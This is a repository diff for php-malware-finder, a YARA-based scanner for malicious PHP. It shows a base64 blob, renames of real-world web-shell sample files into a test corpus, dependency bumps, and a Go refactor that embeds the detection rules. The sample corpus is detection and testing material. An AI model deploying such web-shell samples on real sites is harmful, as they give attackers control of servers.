| 35 | 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 |
diff --git a/php-malware-finder/samples/real/ice.php b/data/samples/real/ice.php index 6f8edc0..6f8edc0 100644 --- a/php-malware-finder/samples/real/ice.php +++ b/data/samples/real/ice.php | |||
diff --git a/php-malware-finder/samples/real/include.php b/data/samples/real/include.php index 58712f1..58712f1 100644 --- a/php-malware-finder/samples/real/include.php +++ b/data/samples/real/include.php | |||
diff --git a/php-malware-finder/samples/real/nano.php b/data/samples/real/nano.php index 14df255..14df255 100644 --- a/php-malware-finder/samples/real/nano.php +++ b/data/samples/real/nano.php | |||
diff --git a/php-malware-finder/samples/real/ninja.php b/data/samples/real/ninja.php index fdace58..fdace58 100644 --- a/php-malware-finder/samples/real/ninja.php +++ b/data/samples/real/ninja.php | |||
diff --git a/php-malware-finder/samples/real/novahot.php b/data/samples/real/novahot.php index a330580..a330580 100644 --- a/php-malware-finder/samples/real/novahot.php +++ b/data/samples/real/novahot.php | |||
diff --git a/php-malware-finder/samples/real/srt.php b/data/samples/real/srt.php index ef02af2..ef02af2 100644 --- a/php-malware-finder/samples/real/srt.php +++ b/data/samples/real/srt.php | |||
diff --git a/php-malware-finder/samples/real/sucuri_2014_04.php b/data/samples/real/sucuri_2014_04.php index 64bfa07..64bfa07 100644 --- a/php-malware-finder/samples/real/sucuri_2014_04.php +++ b/data/samples/real/sucuri_2014_04.php | |||
diff --git a/php-malware-finder/samples/undetected/smart.php b/data/samples/undetected/smart.php index f358562..f358562 100644 --- a/php-malware-finder/samples/undetected/smart.php +++ b/data/samples/undetected/smart.php | |||
diff --git a/php-malware-finder/whitelist.yar b/data/whitelist.yar index 3cb42b4..3cb42b4 100644 --- a/php-malware-finder/whitelist.yar +++ b/data/whitelist.yar | |||
diff --git a/php-malware-finder/whitelists/custom.yar b/data/whitelists/custom.yar index 594d25b..594d25b 100644 --- a/php-malware-finder/whitelists/custom.yar +++ b/data/whitelists/custom.yar | |||
diff --git a/php-malware-finder/whitelists/drupal.yar b/data/whitelists/drupal.yar index 3766698..3766698 100644 --- a/php-malware-finder/whitelists/drupal.yar +++ b/data/whitelists/drupal.yar | |||
diff --git a/php-malware-finder/whitelists/magento1ce.yar b/data/whitelists/magento1ce.yar index 9182ccb..9182ccb 100644 --- a/php-malware-finder/whitelists/magento1ce.yar +++ b/data/whitelists/magento1ce.yar | |||
diff --git a/php-malware-finder/whitelists/magento2.yar b/data/whitelists/magento2.yar index c942fae..c942fae 100644 --- a/php-malware-finder/whitelists/magento2.yar +++ b/data/whitelists/magento2.yar | |||
diff --git a/php-malware-finder/whitelists/phpmyadmin.yar b/data/whitelists/phpmyadmin.yar index b0fc167..b0fc167 100644 --- a/php-malware-finder/whitelists/phpmyadmin.yar +++ b/data/whitelists/phpmyadmin.yar | |||
diff --git a/php-malware-finder/whitelists/prestashop.yar b/data/whitelists/prestashop.yar index 2f67825..2f67825 100644 --- a/php-malware-finder/whitelists/prestashop.yar +++ b/data/whitelists/prestashop.yar | |||
diff --git a/php-malware-finder/whitelists/symfony.yar b/data/whitelists/symfony.yar index 8c757e1..8c757e1 100644 --- a/php-malware-finder/whitelists/symfony.yar +++ b/data/whitelists/symfony.yar | |||
diff --git a/php-malware-finder/whitelists/wordpress.yar b/data/whitelists/wordpress.yar index 78db3c9..78db3c9 100644 --- a/php-malware-finder/whitelists/wordpress.yar +++ b/data/whitelists/wordpress.yar | |||
| @@ -1,10 +1,10 @@ | |||
| 1 | module github.com/jvoisin/php-malware-finder | 1 | module github.com/jvoisin/php-malware-finder |
| 2 | 2 | ||
| 3 | go 1.17 | 3 | go 1.16 |
| 4 | 4 | ||
| 5 | require ( | 5 | require ( |
| 6 | github.com/hillu/go-yara/v4 v4.2.0 | 6 | github.com/hillu/go-yara/v4 v4.2.1 |
| 7 | github.com/jessevdk/go-flags v1.5.0 | 7 | github.com/jessevdk/go-flags v1.5.0 |
| 8 | ) | 8 | ) |
| 9 | 9 | ||
| 10 | require golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5 // indirect | 10 | require golang.org/x/sys v0.0.0-20220412211240-33da011f77ad // indirect |
| @@ -1,7 +1,7 @@ | |||
| 1 | github.com/hillu/go-yara/v4 v4.2.0 h1:C0YycpDYXMlOsN4kbFhvGmfNiaTgpXoLQRS1oUME9ak= | 1 | github.com/hillu/go-yara/v4 v4.2.1 h1:SwPQpM5BixBYoJKaDArsKTW3zFEWSTFdICl5ORC0JCI= |
| 2 | github.com/hillu/go-yara/v4 v4.2.0/go.mod h1:rkb/gSAoO8qcmj+pv6fDZN4tOa3N7R+qqGlEkzT4iys= | 2 | github.com/hillu/go-yara/v4 v4.2.1/go.mod h1:AHEs/FXVMQKVVlT6iG9d+q1BRr0gq0WoAWZQaZ0gS7s= |
| 3 | github.com/jessevdk/go-flags v1.5.0 h1:1jKYvbxEjfUl0fmqTCOfonvskHHXMjBySTLW4y9LFvc= | 3 | github.com/jessevdk/go-flags v1.5.0 h1:1jKYvbxEjfUl0fmqTCOfonvskHHXMjBySTLW4y9LFvc= |
| 4 | github.com/jessevdk/go-flags v1.5.0/go.mod h1:Fw0T6WPc1dYxT4mKEZRfG5kJhaTDP9pj1c2EWnYs/m4= | 4 | github.com/jessevdk/go-flags v1.5.0/go.mod h1:Fw0T6WPc1dYxT4mKEZRfG5kJhaTDP9pj1c2EWnYs/m4= |
| 5 | golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= | 5 | golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= |
| 6 | golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5 h1:y/woIyUBFbpQGKS0u1aHF/40WUDnek3fPOyD08H5Vng= | 6 | golang.org/x/sys v0.0.0-20220412211240-33da011f77ad h1:ntjMns5wyP/fN65tdBD4g8J5w8n015+iIIs9rtjXkY0= |
| 7 | golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= | 7 | golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= |
diff --git a/php-malware-finder/phpmalwarefinder.go b/main.go index 2a641b3..d5f8d69 100644 --- a/php-malware-finder/phpmalwarefinder.go +++ b/main.go | |||
| @@ -2,8 +2,10 @@ package main | |||
| 2 | 2 | ||
| 3 | import ( | 3 | import ( |
| 4 | "bytes" | 4 | "bytes" |
| 5 | "embed" | ||
| 5 | "fmt" | 6 | "fmt" |
| 6 | "io" | 7 | "io" |
| 8 | "io/fs" | ||
| 7 | "io/ioutil" | 9 | "io/ioutil" |
| 8 | "log" | 10 | "log" |
| 9 | "net/http" | 11 | "net/http" |
| @@ -17,89 +19,135 @@ import ( | |||
| 17 | "github.com/jessevdk/go-flags" | 19 | "github.com/jessevdk/go-flags" |
| 18 | ) | 20 | ) |
| 19 | 21 | ||
| 20 | const RulesURI = "https://raw.githubusercontent.com/jvoisin/php-malware-finder/master/php-malware-finder/" | 22 | const ( |
| 21 | const RulesFile = "php.yar" | 23 | RulesURI = "https://raw.githubusercontent.com/jvoisin/php-malware-finder/master/php-malware-finder/data" |
| 22 | const DefaultDir = "/etc/phpmalwarefinder" | 24 | RulesFile = "php.yar" |
| 23 | const ScanMaxDuration = time.Duration(60) | 25 | ScanMaxDuration = time.Duration(60) |
| 24 | const TooShort = "TooShort" | 26 | TooShort = "TooShort" |
| 25 | const TooShortMaxLines = 2 | 27 | TooShortMaxLines = 2 |
| 26 | const TooShortMinChars = 300 | 28 | TooShortMinChars = 300 |
| 27 | const DangerousMatchWeight = 2 | 29 | DangerousMatchWeight = 2 |
| 28 | const DangerousMinScore = 3 | 30 | DangerousMinScore = 3 |
| 29 | const FileBufferSize = 32 * 1024 // 32KB | 31 | FileBufferSize = 32 * 1024 // 32KB |
| 30 | const YaraMaxThreads = 32 | 32 | YaraMaxThreads = 32 |
| 33 | TempDirPrefix = "pmf-" | ||
| 34 | ) | ||
| 31 | 35 | ||
| 32 | var args struct { // command-line arguments specs using github.com/jessevdk/go-flags | 36 | var ( |
| 33 | RulesDir string `short:"r" long:"rules-dir" description:"Rules location (default: /etc/phpmalwarefinder or .)"` | 37 | args struct { // command-line arguments specs using github.com/jessevdk/go-flags |
| 34 | ShowAll bool `short:"a" long:"show-all" description:"Display all matched rules"` | 38 | RulesDir string `short:"r" long:"rules-dir" description:"Alternative rules location (default: embedded rules)"` |
| 35 | Fast bool `short:"f" long:"fast" description:"Enable YARA's fast mode"` | 39 | ShowAll bool `short:"a" long:"show-all" description:"Display all matched rules"` |
| 36 | RateLimit int `short:"R" long:"rate-limit" description:"Max. filesystem ops per second, 0 for no limit" default:"0"` | 40 | Fast bool `short:"f" long:"fast" description:"Enable YARA's fast mode"` |
| 37 | Verbose bool `short:"v" long:"verbose" description:"Verbose mode"` | 41 | RateLimit int `short:"R" long:"rate-limit" description:"Max. filesystem ops per second, 0 for no limit" default:"0"` |
| 38 | Workers int `short:"w" long:"workers" description:"Number of workers to spawn for scanning" default:"32"` | 42 | Verbose bool `short:"v" long:"verbose" description:"Verbose mode"` |
| 39 | LongLines bool `short:"L" long:"long-lines" description:"Check long lines"` | 43 | Workers int `short:"w" long:"workers" description:"Number of workers to spawn for scanning" default:"32"` |
| 40 | ExcludeCommon bool `short:"c" long:"exclude-common" description:"Do not scan files with common extensions"` | 44 | LongLines bool `short:"L" long:"long-lines" description:"Check long lines"` |
| 41 | ExcludeImgs bool `short:"i" long:"exclude-imgs" description:"Do not scan image files"` | 45 | ExcludeCommon bool `short:"c" long:"exclude-common" description:"Do not scan files with common extensions"` |
| 42 | ExcludedExts []string `short:"x" long:"exclude-ext" description:"Additional file extensions to exclude"` | 46 | ExcludeImgs bool `short:"i" long:"exclude-imgs" description:"Do not scan image files"` |
| 43 | Update bool `short:"u" long:"update" description:"Update rules"` | 47 | ExcludedExts []string `short:"x" long:"exclude-ext" description:"Additional file extensions to exclude"` |
| 44 | Positional struct { | 48 | Update bool `short:"u" long:"update" description:"Update rules"` |
| 45 | Target string | 49 | ShowVersion bool `short:"V" long:"version" description:"Show version number and exit"` |
| 46 | } `positional-args:"yes"` | 50 | Positional struct { |
| 47 | } | 51 | Target string |
| 48 | var scanFlags yara.ScanFlags | 52 | } `positional-args:"yes"` |
| 49 | var stoppedWorkers int | 53 | } |
| 50 | var lineFeed = []byte{'\n'} | 54 | scanFlags yara.ScanFlags |
| 51 | var dangerousMatches = map[string]struct{}{ | 55 | stoppedWorkers int |
| 52 | "PasswordProtection": {}, | 56 | lineFeed = []byte{'\n'} |
| 53 | "Websites": {}, | 57 | dangerousMatches = map[string]struct{}{ |
| 54 | "TooShort": {}, | 58 | "PasswordProtection": {}, |
| 55 | "NonPrintableChars": {}, | 59 | "Websites": {}, |
| 56 | } | 60 | "TooShort": {}, |
| 57 | var excludedDirs = [...]string{ | 61 | "NonPrintableChars": {}, |
| 58 | "/.git/", "/.hg/", "/.svn/", "/.CVS/", | 62 | } |
| 59 | } | 63 | excludedDirs = [...]string{ |
| 60 | var excludedExts = map[string]struct{}{} | 64 | "/.git/", "/.hg/", "/.svn/", "/.CVS/", |
| 61 | var commonExts = [...]string{ | 65 | } |
| 62 | ".js", ".coffee", ".map", ".min", ".css", ".less", // static files | 66 | excludedExts = map[string]struct{}{} |
| 63 | ".zip", ".rar", ".7z", ".gz", ".bz2", ".xz", ".tar", ".tgz", // archives | 67 | commonExts = [...]string{ |
| 64 | ".txt", ".csv", ".json", ".rst", ".md", ".yaml", ".yml", // plain text | 68 | ".js", ".coffee", ".map", ".min", ".css", ".less", // static files |
| 65 | ".so", ".dll", ".bin", ".exe", ".bundle", // binaries | 69 | ".zip", ".rar", ".7z", ".gz", ".bz2", ".xz", ".tar", ".tgz", // archives |
| 66 | } | 70 | ".txt", ".csv", ".json", ".rst", ".md", ".yaml", ".yml", // plain text |
| 67 | var imageExts = [...]string{ | 71 | ".so", ".dll", ".bin", ".exe", ".bundle", // binaries |
| 68 | ".png", ".jpg", ".jpeg", ".gif", ".svg", ".bmp", ".ico", | 72 | } |
| 69 | } | 73 | imageExts = [...]string{ |
| 70 | var scannedFilesCount int | 74 | ".png", ".jpg", ".jpeg", ".gif", ".svg", ".bmp", ".ico", |
| 75 | } | ||
| 76 | scannedFilesCount int | ||
| 77 | rulesFiles = [...]string{ | ||
| 78 | RulesFile, "whitelist.yar", | ||
| 79 | "whitelists/custom.yar", "whitelists/drupal.yar", "whitelists/magento1ce.yar", "whitelists/magento2.yar", | ||
| 80 | "whitelists/phpmyadmin.yar", "whitelists/prestashop.yar", "whitelists/symfony.yar", "whitelists/wordpress.yar", | ||
| 81 | } | ||
| 82 | tempDirPathPrefix = path.Join(os.TempDir(), TempDirPrefix) | ||
| 83 | version = "dev" | ||
| 84 | |||
| 85 | //go:embed data/php.yar data/whitelist.yar data/whitelists | ||
| 86 | data embed.FS | ||
| 87 | ) | ||
| 71 | 88 | ||
| 72 | // handleError is a generic error handler which displays the error message to the user and exits if required. | 89 | // handleError is a generic error handler which displays an error message to the user and exits if required. |
| 73 | func handleError(err error, exit bool) { | 90 | func handleError(err error, desc string, isFatal bool) { |
| 74 | if err != nil { | 91 | if err != nil { |
| 75 | log.Println("[ERROR]", err) | 92 | if desc != "" { |
| 76 | if exit { | 93 | desc = " " + desc + ":" |
| 94 | } | ||
| 95 | log.Println("[ERROR]"+desc, err) | ||
| 96 | if isFatal { | ||
| 77 | os.Exit(1) | 97 | os.Exit(1) |
| 78 | } | 98 | } |
| 79 | } | 99 | } |
| 80 | } | 100 | } |
| 81 | 101 | ||
| 102 | // writeRulesFiles copies the rules from the content of a `fs.FS` to a temporary folder and | ||
| 103 | // returns its location. | ||
| 104 | func writeRulesFiles(content fs.FS) string { | ||
| 105 | // create temporary folder structure | ||
| 106 | rulesPath, err := ioutil.TempDir(os.TempDir(), TempDirPrefix) | ||
| 107 | handleError(err, "unable to create temporary folder", true) | ||
| 108 | err = os.Mkdir(path.Join(rulesPath, "whitelists"), 0755) | ||
| 109 | handleError(err, "unable to create temporary subfolder", true) | ||
| 110 | |||
| 111 | // write each YARA file to the disk | ||
| 112 | for _, rulesFile := range rulesFiles { | ||
| 113 | // read embedded content | ||
| 114 | f, err := content.Open(path.Join("data", rulesFile)) | ||
| 115 | handleError(err, "unable to read embedded rule", true) | ||
| 116 | ruleData, err := ioutil.ReadAll(f) | ||
| 117 | |||
| 118 | // write to temporary file | ||
| 119 | err = os.WriteFile(path.Join(rulesPath, rulesFile), ruleData, 0640) | ||
| 120 | handleError(err, "unable to write rule to disk", true) | ||
| 121 | err = f.Close() | ||
| 122 | handleError(err, "unable to close rules file", false) | ||
| 123 | } | ||
| 124 | return rulesPath | ||
| 125 | } | ||
| 126 | |||
| 82 | // updateRules downloads latest YARA rules from phpmalwarefinder GitHub repository. | 127 | // updateRules downloads latest YARA rules from phpmalwarefinder GitHub repository. |
| 83 | // Download location is either `args.RulesDir`, `/etc/phpmalwarefinder`, or the current directory. | 128 | // Download location is either `args.RulesDir`, `/etc/phpmalwarefinder`, or the current directory. |
| 84 | func updateRules() { | 129 | func updateRules() { |
| 130 | if strings.HasPrefix(args.RulesDir, tempDirPathPrefix) { | ||
| 131 | handleError(fmt.Errorf("rules folder must be specified to update"), "", true) | ||
| 132 | } | ||
| 85 | if args.Verbose { | 133 | if args.Verbose { |
| 86 | log.Println("[DEBUG] updating ruleset") | 134 | log.Println("[DEBUG] updating ruleset") |
| 87 | } | 135 | } |
| 88 | 136 | ||
| 89 | downloadFile := func(uri string) []byte { | 137 | downloadFile := func(uri string) []byte { |
| 90 | resp, err := http.Get(uri) | 138 | resp, err := http.Get(uri) |
| 91 | handleError(err, true) | 139 | handleError(err, "unable to download rule", true) |
| 92 | defer func() { | 140 | defer func() { |
| 93 | err := resp.Body.Close() | 141 | err := resp.Body.Close() |
| 94 | handleError(err, false) | 142 | handleError(err, "unable to close response body", false) |
| 95 | }() | 143 | }() |
| 96 | data, err := ioutil.ReadAll(resp.Body) | 144 | data, err := ioutil.ReadAll(resp.Body) |
| 97 | handleError(err, true) | 145 | handleError(err, "unable to read response body", false) |
| 98 | return data | 146 | return data |
| 99 | } | 147 | } |
| 100 | writeFile := func(dst string, data []byte) { | 148 | writeFile := func(dst string, data []byte) { |
| 101 | err := ioutil.WriteFile(dst, data, 0440) | 149 | err := ioutil.WriteFile(dst, data, 0640) |
| 102 | handleError(err, true) | 150 | handleError(err, "unable to write downloaded file", true) |
| 103 | } | 151 | } |
| 104 | 152 | ||
| 105 | rulesFiles := [...]string{ | 153 | rulesFiles := [...]string{ |
| @@ -122,10 +170,12 @@ func updateRules() { | |||
